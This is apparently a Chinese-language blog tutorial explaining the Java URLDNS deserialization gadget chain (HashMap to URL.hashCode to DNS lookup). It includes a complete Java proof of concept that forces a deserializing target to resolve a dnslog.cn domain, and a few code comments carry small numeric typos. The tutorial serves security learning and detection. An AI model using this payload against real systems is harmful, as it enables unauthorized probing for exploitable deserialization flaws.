[Java安全入门]三.URLDNS链

一.前言

        在初步学习java的序列化和反序列化之后,这里学习java反序列化漏洞的一个利用链,也是比较基础的一条链。

        由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点。

二.代码展开分析

构造链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

显示HashMap里面的readObject方法

HashMap为了保证键的唯一性,将键里面的每个元素进行计算,在类的最下面有个putVal方法,里面调用了hash方法,跟进到hash方法

如果键为空,返回0,否则对键进行hashCode,与右移16位值异或运算。如果传入的key是url,那么就会调用URL类里面的hashCode方法

如果hashCode不是-11,则返回hashCode,否则执行handler.hashCode

在URL中发现hashCode默认值为-1

所以会执行handler.hashCode

handler是URL里面的URLStreamHandler类的一个对象

该类里面的hashCode方法是

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

里面调用了getHostAddress,跟进到这个方法

里面调用了getByname方法对域名进行解析

总的来说

readObject()->HashMap.putVal()->hash()->hashCode()(URL类)->getHostAddress()->getByName()

POC,比ysoserial版本更容易理解一些

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws MalformedURLException, IllegalAccessException, NoSuchFieldException {
        /**
         *
         * URL类-->hashCode()方法-->1.hashcode=!-1-->不执行DNS解析
         *                      -->2.hashcode=-1-->handler.hashCode()(hander为URLStreamHandler类对
         *                          象)-->getHostAddress(u)-->getByName(host)-->做一次DNS解析
         * HashMap类-->put(k,v)-->putVal()-->hash(k)-->k.hashCode()
         * HashMap类
         * 当HashMap的key传入为Url类型的话,k.hashCode()就会执行URL类的hashCode方法
         * hashCode对象默认为-1,也就是说传入的url会默认执行一次解析,为了验证是否存在反序列化存在,需要在反序列化之前不执行dns解析,
         * 因此需要通过反射将hashCode的v改为其他,再执行序列化与反序列化操作
         */
        HashMap<URL, Integer> hashmap = new HashMap<>();

        URL url = new URL("http://1zxjmx.dnslog.cn");
        //创建一个新的url类
        Class urlClass = url.getClass();
        //反射获取url的类名称
        Field field = urlClass.getDeclaredField("hashCode");
        //反射获取URL类的hashCode字段(默认为-1)
        //getDeclaredFields:获取当前类的所有字段,包括 protected/默认/private 修饰的字段;不包括父类public 修饰的字段。

        field.setAccessible(true);
        //取消java语言访问检查
        field.set(url,3);
        //设置url的hashCode值为3

        hashmap.put(url,1);
        //HashMap类的put函数,传入键url 和任意一个值
        field.set(url,-1);
        // hashCode值变成1才能触发handler.hashCode


        try{
            //序列化
            FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            //反序列化
            FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();

        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }

}

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tao0845

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值